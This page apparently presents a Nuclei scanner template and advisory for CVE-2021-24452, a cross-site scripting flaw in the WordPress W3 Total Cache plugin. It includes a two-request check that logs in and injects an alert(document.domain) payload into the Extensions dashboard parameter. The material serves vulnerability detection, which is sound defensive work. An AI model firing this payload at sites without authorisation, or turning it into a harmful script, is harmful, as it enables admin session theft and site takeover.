WordPress W3 Total Cache <2.1.5 - Cross-Site Scripting

ID: CVE-2021-24452

Severity: medium

Author: theamanrawat

Tags: cve2021,cve,xss,wpscan,wordpress,wp-plugin,wp,w3-total-cache,auth,boldgrid

Description

WordPress W3 Total Cache plugin before 2.1.5 is susceptible to cross-site scripting via the extension parameter in the Extensions dashboard, when the setting ‘Anonymously track usage to improve product quality’ is enabled. The parameter is output in a JavaScript context without proper escaping. This can allow an attacker, who can convince an authenticated admin into clicking a link, to run malicious JavaScript within the user’s web browser, which could lead to full site compromise.

YAML Source

id: CVE-2021-24452

info:
  name: WordPress W3 Total Cache <2.1.5 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    WordPress W3 Total Cache plugin before 2.1.5 is susceptible to cross-site scripting via the extension parameter in the Extensions dashboard, when the setting 'Anonymously track usage to improve product quality' is enabled. The parameter is output in a JavaScript context without proper escaping. This can allow an attacker, who can convince an authenticated admin into clicking a link, to run malicious JavaScript within the user's web browser, which could lead to full site compromise.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: Fixed in version 2.1.5.
  reference:
    - https://wpscan.com/vulnerability/3e855e09-056f-45b5-89a9-d644b7d8c9d0
    - https://wordpress.org/plugins/w3-total-cache/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24452
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24452
    cwe-id: CWE-79
    epss-score: 0.001
    epss-percentile: 0.4078
    cpe: cpe:2.3:a:boldgrid:w3_total_cache:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: boldgrid
    product: w3_total_cache
    framework: wordpress
  tags: cve2021,cve,xss,wpscan,wordpress,wp-plugin,wp,w3-total-cache,auth,boldgrid

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=w3tc_extensions&extension='-alert(document.domain)-' HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code_2 == 200
          - contains(body_2, 'extensions/\'-alert(document.domain)-\'') && contains(body_2, 'w3-total-cache')
          - contains(header_2, "text/html")
        condition: and
# digest: 490a0046304402204a47c8723e1ca4f3049eafd257e00891fd92f7255a3efff3cb9a08e25cedc224022020949ea1fac64468320050ab756179a8b64638daff3d18ac6defc2d639e29ccd:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24452.yaml"

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